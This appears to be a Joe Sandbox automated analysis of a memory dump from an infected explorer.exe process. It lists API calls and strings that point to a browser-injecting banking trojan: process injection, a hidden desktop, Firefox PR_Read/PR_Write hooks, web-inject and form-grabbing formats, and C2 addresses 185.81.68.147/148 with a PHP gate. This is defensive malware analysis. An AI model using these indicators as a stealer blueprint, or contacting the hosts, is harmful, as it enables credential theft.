GetProcAddress.KERNEL32 ref: 0C5B6423
GetProcAddress.KERNEL32 ref: 0C5B643F
GetProcAddress.KERNEL32 ref: 0C5B645B
GetProcAddress.KERNEL32 ref: 0C5B6477
GetProcAddress.KERNEL32 ref: 0C5B6493
GetProcAddress.KERNEL32 ref: 0C5B64AF
GetProcAddress.KERNEL32 ref: 0C5B64CB
GetProcAddress.KERNEL32 ref: 0C5B64E7
GetProcAddress.KERNEL32 ref: 0C5B64FE
GetProcAddress.KERNEL32 ref: 0C5B6515
GetProcAddress.KERNEL32 ref: 0C5B652C
GetProcAddress.KERNEL32 ref: 0C5B654B
GetProcAddress.KERNEL32 ref: 0C5B6562
GetProcAddress.KERNEL32 ref: 0C5B6579
GetProcAddress.KERNEL32 ref: 0C5B6590
GetProcAddress.KERNEL32 ref: 0C5B65A7
GetProcAddress.KERNEL32 ref: 0C5B65BE
GetProcAddress.KERNEL32 ref: 0C5B65D5
GetProcAddress.KERNEL32 ref: 0C5B65EC
GetProcAddress.KERNEL32 ref: 0C5B6603
GetProcAddress.KERNEL32 ref: 0C5B661A
GetProcAddress.KERNEL32 ref: 0C5B6631
GetProcAddress.KERNEL32 ref: 0C5B6648
GetProcAddress.KERNEL32 ref: 0C5B665F
GetProcAddress.KERNEL32 ref: 0C5B6676
GetProcAddress.KERNEL32 ref: 0C5B668D
GetProcAddress.KERNEL32 ref: 0C5B66A4
GetProcAddress.KERNEL32 ref: 0C5B66BB
GetProcAddress.KERNEL32 ref: 0C5B66D2
GetProcAddress.KERNEL32 ref: 0C5B66E9
GetProcAddress.KERNEL32 ref: 0C5B6708
GetProcAddress.KERNEL32 ref: 0C5B671F
GetProcAddress.KERNEL32 ref: 0C5B673B
GetProcAddress.KERNEL32 ref: 0C5B6752
GetProcAddress.KERNEL32 ref: 0C5B676E
GetProcAddress.KERNEL32 ref: 0C5B678A
GetProcAddress.KERNEL32 ref: 0C5B67A6
GetProcAddress.KERNEL32 ref: 0C5B67C2
GetProcAddress.KERNEL32 ref: 0C5B67DE
GetProcAddress.KERNEL32 ref: 0C5B67F5
GetProcAddress.KERNEL32 ref: 0C5B680C
GetProcAddress.KERNEL32 ref: 0C5B6823
GetProcAddress.KERNEL32 ref: 0C5B683A
GetProcAddress.KERNEL32 ref: 0C5B6851
GetProcAddress.KERNEL32 ref: 0C5B6868
GetProcAddress.KERNEL32 ref: 0C5B6884
GetProcAddress.KERNEL32 ref: 0C5B68A0
GetProcAddress.KERNEL32 ref: 0C5B68BC
GetProcAddress.KERNEL32 ref: 0C5B68D3
GetProcAddress.KERNEL32 ref: 0C5B68EA
GetProcAddress.KERNEL32 ref: 0C5B6906
GetProcAddress.KERNEL32 ref: 0C5B691D
GetProcAddress.KERNEL32 ref: 0C5B6934
GetProcAddress.KERNEL32 ref: 0C5B694B
GetProcAddress.KERNEL32 ref: 0C5B6962
GetProcAddress.KERNEL32 ref: 0C5B6979
GetProcAddress.KERNEL32 ref: 0C5B6998
GetProcAddress.KERNEL32 ref: 0C5B69AF
GetProcAddress.KERNEL32 ref: 0C5B69C6
GetProcAddress.KERNEL32 ref: 0C5B69DD
GetProcAddress.KERNEL32 ref: 0C5B69F4
GetProcAddress.KERNEL32 ref: 0C5B6A0B
GetProcAddress.KERNEL32 ref: 0C5B6A22
GetProcAddress.KERNEL32 ref: 0C5B6A39
GetProcAddress.KERNEL32 ref: 0C5B6A50
GetProcAddress.KERNEL32 ref: 0C5B6A67
GetProcAddress.KERNEL32 ref: 0C5B6A7E
GetProcAddress.KERNEL32 ref: 0C5B6A95
GetProcAddress.KERNEL32 ref: 0C5B6AAC
GetProcAddress.KERNEL32 ref: 0C5B6AC3
GetProcAddress.KERNEL32 ref: 0C5B6ADA
GetProcAddress.KERNEL32 ref: 0C5B6AF1
GetProcAddress.KERNEL32 ref: 0C5B6B08
GetProcAddress.KERNEL32 ref: 0C5B6B1F
GetProcAddress.KERNEL32 ref: 0C5B6B36
GetProcAddress.KERNEL32 ref: 0C5B6B4D
GetProcAddress.KERNEL32 ref: 0C5B6B64
GetProcAddress.KERNEL32 ref: 0C5B6B7B
GetProcAddress.KERNEL32 ref: 0C5B6B92
GetProcAddress.KERNEL32 ref: 0C5B6BA9
GetProcAddress.KERNEL32 ref: 0C5B6BC8
GetProcAddress.KERNEL32 ref: 0C5B6BDF
GetProcAddress.KERNEL32 ref: 0C5B6BF6
GetProcAddress.KERNEL32 ref: 0C5B6C0D
GetProcAddress.KERNEL32 ref: 0C5B6C24
GetProcAddress.KERNEL32 ref: 0C5B6C3B
GetProcAddress.KERNEL32 ref: 0C5B6C52
GetProcAddress.KERNEL32 ref: 0C5B6C71
GetProcAddress.KERNEL32 ref: 0C5B6C88
GetProcAddress.KERNEL32 ref: 0C5B6C9F
GetProcAddress.KERNEL32 ref: 0C5B6CB6
GetProcAddress.KERNEL32 ref: 0C5B6CCD
GetProcAddress.KERNEL32 ref: 0C5B6CE4
GetProcAddress.KERNEL32 ref: 0C5B6CFB
GetProcAddress.KERNEL32 ref: 0C5B6D12
GetProcAddress.KERNEL32 ref: 0C5B6D29
GetProcAddress.KERNEL32 ref: 0C5B6D40
GetProcAddress.KERNEL32 ref: 0C5B6D57
GetProcAddress.KERNEL32 ref: 0C5B6D6E
GetProcAddress.KERNEL32 ref: 0C5B6D85
GetProcAddress.KERNEL32 ref: 0C5B6D9C
GetProcAddress.KERNEL32 ref: 0C5B6DB3
GetProcAddress.KERNEL32 ref: 0C5B6DCA
GetProcAddress.KERNEL32 ref: 0C5B6DE1
GetProcAddress.KERNEL32 ref: 0C5B6DF8
GetProcAddress.KERNEL32 ref: 0C5B6E0F
GetProcAddress.KERNEL32 ref: 0C5B6E26
GetProcAddress.KERNEL32 ref: 0C5B6E3D
GetProcAddress.KERNEL32 ref: 0C5B6E54
GetProcAddress.KERNEL32 ref: 0C5B6E6B
GetProcAddress.KERNEL32 ref: 0C5B6E82
GetProcAddress.KERNEL32 ref: 0C5B6E99
GetProcAddress.KERNEL32 ref: 0C5B6EB0
GetProcAddress.KERNEL32 ref: 0C5B6EC7
GetProcAddress.KERNEL32 ref: 0C5B6EDE
GetProcAddress.KERNEL32 ref: 0C5B6EF5
GetProcAddress.KERNEL32 ref: 0C5B6F0C
GetProcAddress.KERNEL32 ref: 0C5B6F23
GetProcAddress.KERNEL32 ref: 0C5B6F3A
GetProcAddress.KERNEL32 ref: 0C5B6F51
GetProcAddress.KERNEL32 ref: 0C5B6F6D
GetProcAddress.KERNEL32 ref: 0C5B6F84
GetProcAddress.KERNEL32 ref: 0C5B6F9B
GetProcAddress.KERNEL32 ref: 0C5B6FB2
GetProcAddress.KERNEL32 ref: 0C5B6FC9
GetProcAddress.KERNEL32 ref: 0C5B6FE0
GetProcAddress.KERNEL32 ref: 0C5B6FF7
GetProcAddress.KERNEL32 ref: 0C5B700E
GetProcAddress.KERNEL32 ref: 0C5B7025
GetProcAddress.KERNEL32 ref: 0C5B703C
GetProcAddress.KERNEL32 ref: 0C5B7053
GetProcAddress.KERNEL32 ref: 0C5B706A
GetProcAddress.KERNEL32 ref: 0C5B7081
GetProcAddress.KERNEL32 ref: 0C5B7098
GetProcAddress.KERNEL32 ref: 0C5B70AF
GetProcAddress.KERNEL32 ref: 0C5B70CB
GetProcAddress.KERNEL32 ref: 0C5B70E7
GetProcAddress.KERNEL32 ref: 0C5B70FE
GetProcAddress.KERNEL32 ref: 0C5B7115
GetProcAddress.KERNEL32 ref: 0C5B712C
GetProcAddress.KERNEL32 ref: 0C5B7143
GetProcAddress.KERNEL32 ref: 0C5B715A

Part of subcall function 0C5BF620: MultiByteToWideChar.KERNEL32 ref: 0C5BF650

Part of subcall function 0C5BF620: MultiByteToWideChar.KERNEL32 ref: 0C5BF6AA

Strings

VerQueryValueA, xrefs: 0C5B5AFD
Transfer-Encoding, xrefs: 0C5B5E8B
InitializeCriticalSection, xrefs: 0C5B5A01
MultiByteToWideChar, xrefs: 0C5B56F1
wininet.dll, xrefs: 0C5B5681
strtol, xrefs: 0C5B586B
GetWindowThreadProcessId, xrefs: 0C5B59F3
LocalFree, xrefs: 0C5B5817
GetPrivateProfileSectionNamesA, xrefs: 0C5B5B35
strncmp, xrefs: 0C5B576F
RtlCompressBuffer, xrefs: 0C5B5D2D
http(s)://, xrefs: 0C5B6127
CreateCompatibleDC, xrefs: 0C5B5F02
IsWindowVisible, xrefs: 0C5B5F41
User32.dll, xrefs: 0C5B55E7
MoveWindow, xrefs: 0C5B5DB9
StrChrA, xrefs: 0C5B5AB7
185.81.68.147, xrefs: 0C5B55A1
MessageBoxA, xrefs: 0C5B56AB
GetWindow, xrefs: 0C5B5F56
malloc, xrefs: 0C5B5825
GetUserNameW, xrefs: 0C5B5BF9
GetModuleHandleA, xrefs: 0C5B5AD3
WideCharToMultiByte, xrefs: 0C5B56C7
Kernel32.dll, xrefs: 0C5B55A8
GetTempPathA, xrefs: 0C5B5C5B
GET , xrefs: 0C5B5FB1
CreateRemoteThread, xrefs: 0C5B5729
tolower, xrefs: 0C5B5A47
SHGetFolderPathA, xrefs: 0C5B57A7
socket, xrefs: 0C5B5895
GetModuleFileNameA, xrefs: 0C5B5753
HTTP/1.1, xrefs: 0C5B5FBF
PathFileExistsA, xrefs: 0C5B5CF5
WriteProcessMemory, xrefs: 0C5B571B
ntohs, xrefs: 0C5B5C93
GetFileSize, xrefs: 0C5B5BA5
EnumWindows, xrefs: 0C5B5CCB
Advapi32.dll, xrefs: 0C5B5649
GetInjects, xrefs: 0C5B604B
RegOpenKeyExA, xrefs: 0C5B5B89
NtOpenKey, xrefs: 0C5B592F
GetNativeSystemInfo, xrefs: 0C5B5BCF
GetVolumeInformationA, xrefs: 0C5B57DF
GetUserNameExA, xrefs: 0C5B57ED
DeleteFileA, xrefs: 0C5B5CE7
CreateToolhelp32Snapshot, xrefs: 0C5B5A8D
ws2_32.dll, xrefs: 0C5B5657
GetThreadContext, xrefs: 0C5B59AD
CreateMutexA, xrefs: 0C5B5CA1
FindNextFileA, xrefs: 0C5B59E5
lstrcmpiA, xrefs: 0C5B5833
RegQueryValueExA, xrefs: 0C5B5E53
GetWindowsDirectoryA, xrefs: 0C5B56B9
lstrcpyA, xrefs: 0C5B57B5
strtoul, xrefs: 0C5B5A63
Host: , xrefs: 0C5B5FCD
bot|%s|%d|%d|%d|%d|%s|%s|%d|%d, xrefs: 0C5B6151
SendMessageA, xrefs: 0C5B5D8F
_errno, xrefs: 0C5B5A39
OpenDesktopA, xrefs: 0C5B5D65
SelectObject, xrefs: 0C5B5EED
Content-Type: , xrefs: 0C5B60BB
OpenProcess, xrefs: 0C5B5BDD
_strnicmp, xrefs: 0C5B577D
connect, xrefs: 0C5B58BF
memcmp, xrefs: 0C5B5B19
Content-Length: , xrefs: 0C5B5FE9
PrintWindow, xrefs: 0C5B5F6B
ping, xrefs: 0C5B602F
Connection, xrefs: 0C5B609F
Shell32.dll, xrefs: 0C5B562D
RegSetValueExA, xrefs: 0C5B5B7B
msvcrt.dll, xrefs: 0C5B5603
GetMenuItemID, xrefs: 0C5B5DD5
identity, xrefs: 0C5B6091
GetFileVersionInfoA, xrefs: 0C5B5AEF
CreateProcessA, xrefs: 0C5B5959
PostMessageA, xrefs: 0C5B5D81
DeleteObject, xrefs: 0C5B5E99
lstrcatA, xrefs: 0C5B57C3
ShellExecuteA, xrefs: 0C5B5C77
LocalAlloc, xrefs: 0C5B56D5
SHAppBarMessage, xrefs: 0C5B5E45
RegCloseKey, xrefs: 0C5B5B97
MenuItemFromPoint, xrefs: 0C5B5DE3
CreateDesktopA, xrefs: 0C5B5D57
CloseHandle, xrefs: 0C5B594B
HttpQueryInfoW, xrefs: 0C5B5D1F
ScreenToClient, xrefs: 0C5B5DAB
GetComputerNameW, xrefs: 0C5B5C07
ConvertSidToStringSidA, xrefs: 0C5B5809
SetWindowLongA, xrefs: 0C5B5E1B
close, xrefs: 0C5B60AD
version.dll, xrefs: 0C5B5665
memset, xrefs: 0C5B5905
ResumeThread, xrefs: 0C5B5BB3
htons, xrefs: 0C5B58B1
CreateThread, xrefs: 0C5B5BEB
GetDC, xrefs: 0C5B5F2C
form|%s|%s|%d|, xrefs: 0C5B6135
NtUnmapViewOfSection, xrefs: 0C5B5991
closesocket, xrefs: 0C5B58E9
StretchBlt, xrefs: 0C5B5EC3
ExitProcess, xrefs: 0C5B5799
firefox.exe, xrefs: 0C5B603D
StrStrIA, xrefs: 0C5B585D
open, xrefs: 0C5B616D
SHFileOperationA, xrefs: 0C5B59C9
.exe, xrefs: 0C5B5F87
GetFileVersionInfoSizeA, xrefs: 0C5B5AE1
Location: , xrefs: 0C5B60E1
LookupAccountNameA, xrefs: 0C5B57FB
gethostbyname, xrefs: 0C5B58A3
SetThreadContext, xrefs: 0C5B59BB
ChildWindowFromPoint, xrefs: 0C5B5D9D
StrToIntA, xrefs: 0C5B5AC5
KernelBase.dll, xrefs: 0C5B55F5
/VzCAHn.php, xrefs: 0C5B55D2
POST , xrefs: 0C5B5FA3
Content-Length: , xrefs: 0C5B5ECA
Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3, xrefs: 0C5B5FDB
WriteFile, xrefs: 0C5B5B6D
GetProcAddress, xrefs: 0C5B5737
LeaveCriticalSection, xrefs: 0C5B5A2B
PathFindFileNameA, xrefs: 0C5B5761
GetDesktopWindow, xrefs: 0C5B5E61
ioctlsocket, xrefs: 0C5B5C85
GetWindowLongA, xrefs: 0C5B5E29
GetDIBits, xrefs: 0C5B5EAE
TerminateProcess, xrefs: 0C5B5975
ntdll.dll, xrefs: 0C5B5611
StrStrA, xrefs: 0C5B584F
DisconnectNamedPipe, xrefs: 0C5B5C3F
Process32First, xrefs: 0C5B5A9B
CreateCompatibleBitmap, xrefs: 0C5B5F17
text/html, xrefs: 0C5B60D0
GetWindowPlacement, xrefs: 0C5B5E0D
VirtualAllocEx, xrefs: 0C5B570D
GetPrivateProfileStringA, xrefs: 0C5B5B43
Host: , xrefs: 0C5B6119
HttpQueryInfoA, xrefs: 0C5B5D11
Sleep, xrefs: 0C5B5921
isxdigit, xrefs: 0C5B5A71
Mozilla, xrefs: 0C5B615F
chunked, xrefs: 0C5B6005
Content-Length, xrefs: 0C5B5E84
GetVersionExA, xrefs: 0C5B5C15
Firefox, xrefs: 0C5B5EB5
PtInRect, xrefs: 0C5B5DFF
PR_Write, xrefs: 0C5B6075
GetModuleInformation, xrefs: 0C5B5B0B
RealGetWindowClassA, xrefs: 0C5B5DF1
GetTempFileNameA, xrefs: 0C5B5C69
WindowFromPoint, xrefs: 0C5B5E37
DeleteDC, xrefs: 0C5B5E6F
FindWindowA, xrefs: 0C5B5983
GetWindowRect, xrefs: 0C5B5DC7
ReleaseMutex, xrefs: 0C5B5CAF
:Zone.Identifier, xrefs: 0C5B569D
form|%s|%s|%s|%d|, xrefs: 0C5B6143
PR_Read, xrefs: 0C5B6067
WSACleanup, xrefs: 0C5B58F7
CreateDirectoryA, xrefs: 0C5B5D03
NtCreateThreadEx, xrefs: 0C5B5967
%s: *, xrefs: 0C5B610B
gdi32.dll, xrefs: 0C5B568F
ReadFile, xrefs: 0C5B5B5F
TerminateThread, xrefs: 0C5B5D73
realloc, xrefs: 0C5B5879
GetLastError, xrefs: 0C5B5A0F
RtlGetCompressionWorkSpaceSize, xrefs: 0C5B5D3B
185.81.68.148, xrefs: 0C5B55BD
IsWow64Process, xrefs: 0C5B5BC1
WSAStartup, xrefs: 0C5B5887
Accept-Encoding, xrefs: 0C5B6083
nss3.dll, xrefs: 0C5B6059
SetThreadDesktop, xrefs: 0C5B5D49
memcpy, xrefs: 0C5B5913
, xrefs: 0C5B60F6
strtod, xrefs: 0C5B5A7F
EnterCriticalSection, xrefs: 0C5B5A1D
wsprintfA, xrefs: 0C5B56E3
NtQueryInformationProcess, xrefs: 0C5B599F
free, xrefs: 0C5B56FF
GetCurrentProcessId, xrefs: 0C5B5CD9
Process32Next, xrefs: 0C5B5AA9
lstrcmpA, xrefs: 0C5B5841
CreateNamedPipeA, xrefs: 0C5B5C23
lstrlenA, xrefs: 0C5B578B
recv, xrefs: 0C5B58DB
PathRemoveFileSpecA, xrefs: 0C5B5745
CreateFileA, xrefs: 0C5B5B51
InternetCrackUrlA, xrefs: 0C5B5C4D
isdigit, xrefs: 0C5B5A55
Psapi.dll, xrefs: 0C5B5673
send, xrefs: 0C5B58CD
ExpandEnvironmentStringsA, xrefs: 0C5B5B27
LoadLibraryA, xrefs: 0C5B55AF
Secur32.dll, xrefs: 0C5B563B
Shlwapi.dll, xrefs: 0C5B561F
CopyFileA, xrefs: 0C5B57D1
NtSetValueKey, xrefs: 0C5B593D
SetStretchBltMode, xrefs: 0C5B5ED8
HTTP/1.1 200 OK, xrefs: 0C5B5FF7
ReleaseDC, xrefs: 0C5B5E7D
FindFirstFileA, xrefs: 0C5B59D7
ConnectNamedPipe, xrefs: 0C5B5C31
GetTopWindow, xrefs: 0C5B5F79
WaitForSingleObject, xrefs: 0C5B5CBD

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad$ByteCharMultiWide
String ID: $%s: *$Content-Length: $Content-Type: $Host: $Location: $Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3$ HTTP/1.1$.exe$/VzCAHn.php$185.81.68.147$185.81.68.148$:Zone.Identifier$Accept-Encoding$Advapi32.dll$ChildWindowFromPoint$CloseHandle$ConnectNamedPipe$Connection$Content-Length$Content-Length: $ConvertSidToStringSidA$CopyFileA$CreateCompatibleBitmap$CreateCompatibleDC$CreateDesktopA$CreateDirectoryA$CreateFileA$CreateMutexA$CreateNamedPipeA$CreateProcessA$CreateRemoteThread$CreateThread$CreateToolhelp32Snapshot$DeleteDC$DeleteFileA$DeleteObject$DisconnectNamedPipe$EnterCriticalSection$EnumWindows$ExitProcess$ExpandEnvironmentStringsA$FindFirstFileA$FindNextFileA$FindWindowA$Firefox$GET $GetComputerNameW$GetCurrentProcessId$GetDC$GetDIBits$GetDesktopWindow$GetFileSize$GetFileVersionInfoA$GetFileVersionInfoSizeA$GetInjects$GetLastError$GetMenuItemID$GetModuleFileNameA$GetModuleHandleA$GetModuleInformation$GetNativeSystemInfo$GetPrivateProfileSectionNamesA$GetPrivateProfileStringA$GetProcAddress$GetTempFileNameA$GetTempPathA$GetThreadContext$GetTopWindow$GetUserNameExA$GetUserNameW$GetVersionExA$GetVolumeInformationA$GetWindow$GetWindowLongA$GetWindowPlacement$GetWindowRect$GetWindowThreadProcessId$GetWindowsDirectoryA$HTTP/1.1 200 OK$Host: $HttpQueryInfoA$HttpQueryInfoW$InitializeCriticalSection$InternetCrackUrlA$IsWindowVisible$IsWow64Process$Kernel32.dll$KernelBase.dll$LeaveCriticalSection$LoadLibraryA$LocalAlloc$LocalFree$LookupAccountNameA$MenuItemFromPoint$MessageBoxA$MoveWindow$Mozilla$MultiByteToWideChar$NtCreateThreadEx$NtOpenKey$NtQueryInformationProcess$NtSetValueKey$NtUnmapViewOfSection$OpenDesktopA$OpenProcess$POST $PR_Read$PR_Write$PathFileExistsA$PathFindFileNameA$PathRemoveFileSpecA$PostMessageA$PrintWindow$Process32First$Process32Next$Psapi.dll$PtInRect$ReadFile$RealGetWindowClassA$RegCloseKey$RegOpenKeyExA$RegQueryValueExA$RegSetValueExA$ReleaseDC$ReleaseMutex$ResumeThread$RtlCompressBuffer$RtlGetCompressionWorkSpaceSize$SHAppBarMessage$SHFileOperationA$SHGetFolderPathA$ScreenToClient$Secur32.dll$SelectObject$SendMessageA$SetStretchBltMode$SetThreadContext$SetThreadDesktop$SetWindowLongA$Shell32.dll$ShellExecuteA$Shlwapi.dll$Sleep$StrChrA$StrStrA$StrStrIA$StrToIntA$StretchBlt$TerminateProcess$TerminateThread$Transfer-Encoding$User32.dll$VerQueryValueA$VirtualAllocEx$WSACleanup$WSAStartup$WaitForSingleObject$WideCharToMultiByte$WindowFromPoint$WriteFile$WriteProcessMemory$_errno$_strnicmp$bot|%s|%d|%d|%d|%d|%s|%s|%d|%d$chunked$close$closesocket$connect$firefox.exe$form|%s|%s|%d|$form|%s|%s|%s|%d|$free$gdi32.dll$gethostbyname$htons$http(s)://$identity$ioctlsocket$isdigit$isxdigit$lstrcatA$lstrcmpA$lstrcmpiA$lstrcpyA$lstrlenA$malloc$memcmp$memcpy$memset$msvcrt.dll$nss3.dll$ntdll.dll$ntohs$open$ping$realloc$recv$send$socket$strncmp$strtod$strtol$strtoul$text/html$tolower$version.dll$wininet.dll$ws2_32.dll$wsprintfA
API String ID: 2683923594-1492645186
Opcode ID: ceead7f360c4f281692bddcfe33997f30f89d30adece2fb155eca9e7e3fcff93
Instruction ID: ab75f8e6982d6651d9fddc5e4bc9e0e2df321884c8037295f379adeec0d45b5d
Opcode Fuzzy Hash: ceead7f360c4f281692bddcfe33997f30f89d30adece2fb155eca9e7e3fcff93
Instruction Fuzzy Hash: 89034B3C602F01C5FB499B52FC84B5A77A9F788B92F44537AC889433A5EF38A1D69740

Function 0C5B17F0 Relevance: 84.3, APIs: 35, Strings: 13, Instructions: 267
stringfilethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0C5B2660: WideCharToMultiByte.KERNEL32 ref: 0C5B26A3

malloc.LIBCMT ref: 0C5B1878

Part of subcall function 0C5CD80C: _FF_MSGBANNER.LIBCMT ref: 0C5CD83C
Part of subcall function 0C5CD80C: _NMSG_WRITE.LIBCMT ref: 0C5CD846
Part of subcall function 0C5CD80C: HeapAlloc.KERNEL32 ref: 0C5CD861
Part of subcall function 0C5CD80C: _callnewh.LIBCMT ref: 0C5CD87A
Part of subcall function 0C5CD80C: _errno.LIBCMT ref: 0C5CD885
Part of subcall function 0C5CD80C: _errno.LIBCMT ref: 0C5CD890

PathFindFileNameA.SHLWAPI ref: 0C5B1883
lstrcpyA.KERNEL32 ref: 0C5B1897
SHGetFolderPathA.SHELL32 ref: 0C5B18CF
lstrcatA.KERNEL32 ref: 0C5B18E0
lstrcatA.KERNEL32 ref: 0C5B18F1
PathFileExistsA.SHLWAPI ref: 0C5B18FB
lstrcmpiA.KERNEL32 ref: 0C5B191F
lstrcmpiA.KERNEL32 ref: 0C5B1933
lstrcmpiA.KERNEL32 ref: 0C5B1947
lstrcmpiA.KERNEL32 ref: 0C5B195B
lstrcmpiA.KERNEL32 ref: 0C5B196F
lstrcmpiA.KERNEL32 ref: 0C5B1983
lstrcmpiA.KERNEL32 ref: 0C5B1997
lstrcatA.KERNEL32 ref: 0C5B19AB
lstrcmpiA.KERNEL32 ref: 0C5B19C8
lstrcmpiA.KERNEL32 ref: 0C5B19E2
PathFindFileNameW.SHLWAPI ref: 0C5B19F8
CreateThread.KERNEL32 ref: 0C5B1A15
TerminateProcess.KERNEL32 ref: 0C5B1AD8
wsprintfA.USER32 ref: 0C5B1B0E
CreateFileA.KERNEL32 ref: 0C5B1B40
WriteFile.KERNEL32 ref: 0C5B1B60
WriteFile.KERNEL32 ref: 0C5B1B7C
lstrlenA.KERNEL32 ref: 0C5B1B8F
WriteFile.KERNEL32 ref: 0C5B1BAF
WriteFile.KERNEL32 ref: 0C5B1BCA
lstrlenA.KERNEL32 ref: 0C5B1BD3
WriteFile.KERNEL32 ref: 0C5B1BF3
WriteFile.KERNEL32 ref: 0C5B1C0E
CloseHandle.KERNEL32 ref: 0C5B1C17
free.LIBCMT ref: 0C5B1C20
free.LIBCMT ref: 0C5B1C28

Part of subcall function 0C5CD7CC: HeapFree.KERNEL32 ref: 0C5CD7E2
Part of subcall function 0C5CD7CC: _errno.LIBCMT ref: 0C5CD7EC
Part of subcall function 0C5CD7CC: GetLastError.KERNEL32 ref: 0C5CD7F4

free.LIBCMT ref: 0C5B1C30
free.LIBCMT ref: 0C5B1C39

Strings

Diamotrixed, xrefs: 0C5B1AF9
taskmgr.exe, xrefs: 0C5B19CE
AVGBrowser.exe, xrefs: 0C5B198D
brave.exe, xrefs: 0C5B1951
firefox.exe, xrefs: 0C5B19BE
chrome.exe, xrefs: 0C5B190F
trusteer, xrefs: 0C5B18E6
--disable-http2 --use-spdy=off --disable-quic, xrefs: 0C5B19A1
AvastBrowser.exe, xrefs: 0C5B1979
browser.exe, xrefs: 0C5B1965
msedge.exe, xrefs: 0C5B193D
\\.\pipe\%s, xrefs: 0C5B1B00
opera.exe, xrefs: 0C5B1929

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: File$lstrcmpi$Write$Pathfree$_errnolstrcat$CreateFindHeapNamelstrlen$AllocByteCharCloseErrorExistsFolderFreeHandleLastMultiProcessTerminateThreadWide_callnewhlstrcpymallocwsprintf
String ID: --disable-http2 --use-spdy=off --disable-quic$AVGBrowser.exe$AvastBrowser.exe$Diamotrixed$\\.\pipe\%s$brave.exe$browser.exe$chrome.exe$firefox.exe$msedge.exe$opera.exe$taskmgr.exe$trusteer
API String ID: 3240663557-1393645298
Opcode ID: 50a01c9307c7bfdd2b4b94620e8dc5031bfd2fd73c2bbe0350eee02c3ac0f521
Instruction ID: c8a9dc98be87528eb0dc7883847f6387e3f18689b3b1ee25abae87f2580f9849
Opcode Fuzzy Hash: 50a01c9307c7bfdd2b4b94620e8dc5031bfd2fd73c2bbe0350eee02c3ac0f521
Instruction Fuzzy Hash: BAC19D3A704F4586EB54CF62EC5479A77A1F7C8B89F800225DE4D47A68DF78E289DB00

Function 0C5B72C0 Relevance: 60.4, APIs: 40, Instructions: 363
stringnetworkCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpyA.KERNEL32 ref: 0C5B731E
lstrcatA.KERNEL32 ref: 0C5B732F
lstrcatA.KERNEL32 ref: 0C5B7343
lstrcatA.KERNEL32 ref: 0C5B7357
lstrcatA.KERNEL32 ref: 0C5B7368
lstrcatA.KERNEL32 ref: 0C5B737C
lstrcatA.KERNEL32 ref: 0C5B739A
wsprintfA.USER32 ref: 0C5B73B2
lstrcatA.KERNEL32 ref: 0C5B73C6
lstrcatA.KERNEL32 ref: 0C5B73DA
lstrcatA.KERNEL32 ref: 0C5B7416
WSAStartup.WS2_32 ref: 0C5B7426
socket.WS2_32 ref: 0C5B7442
gethostbyname.WS2_32 ref: 0C5B7459
memcpy.MSVCRT ref: 0C5B7479
htons.WS2_32 ref: 0C5B7488
connect.WS2_32 ref: 0C5B749F
lstrlenA.KERNEL32 ref: 0C5B74B5
send.WS2_32 ref: 0C5B74CB
send.WS2_32 ref: 0C5B74EC
recv.WS2_32 ref: 0C5B7553
lstrcmpiA.KERNEL32 ref: 0C5B75B3
lstrlenA.KERNEL32 ref: 0C5B75D7
StrStrA.SHLWAPI ref: 0C5B75EF
lstrcmpiA.KERNEL32 ref: 0C5B760E
strtol.MSVCRT ref: 0C5B7626
lstrcmpiA.KERNEL32 ref: 0C5B7648
lstrcmpiA.KERNEL32 ref: 0C5B765C
malloc.MSVCRT ref: 0C5B76DA
recv.WS2_32 ref: 0C5B7707
strtol.MSVCRT ref: 0C5B7762
realloc.MSVCRT ref: 0C5B77A9
recv.WS2_32 ref: 0C5B77D6
recv.WS2_32 ref: 0C5B77FB
malloc.MSVCRT ref: 0C5B7858
recv.WS2_32 ref: 0C5B7883
free.MSVCRT ref: 0C5B78C5
closesocket.WS2_32 ref: 0C5B78CE
WSACleanup.WS2_32 ref: 0C5B78D4

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: lstrcat$recv$lstrcmpi$lstrlenmallocsendstrtol$CleanupStartupclosesocketconnectfreegethostbynamehtonslstrcpymemcpyreallocsocketwsprintf
String ID:
API String ID: 4277384649-0
Opcode ID: 464e7a96b3fcba648b10796ae560bdce37aea7bf9e55c48050d3a5af52ca8332
Instruction ID: 3942cf54575b3ae326ac621e2f65371a0f9532d33ef2e825cb3503644d345b88
Opcode Fuzzy Hash: 464e7a96b3fcba648b10796ae560bdce37aea7bf9e55c48050d3a5af52ca8332
Instruction Fuzzy Hash: 42F1D339301E85C6EB349F26EC447EA7BA1F788BC9F045229CA4A57B94DF38D185C750

Function 0C5C52C0 Relevance: 21.1, APIs: 14, Instructions: 142
stringfilenetworkCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32 ref: 0C5C5362
InternetCrackUrlA.WININET ref: 0C5C5377

Part of subcall function 0C5B72C0: lstrcpyA.KERNEL32 ref: 0C5B731E
Part of subcall function 0C5B72C0: lstrcatA.KERNEL32 ref: 0C5B732F
Part of subcall function 0C5B72C0: lstrcatA.KERNEL32 ref: 0C5B7343
Part of subcall function 0C5B72C0: lstrcatA.KERNEL32 ref: 0C5B7357
Part of subcall function 0C5B72C0: lstrcatA.KERNEL32 ref: 0C5B7368
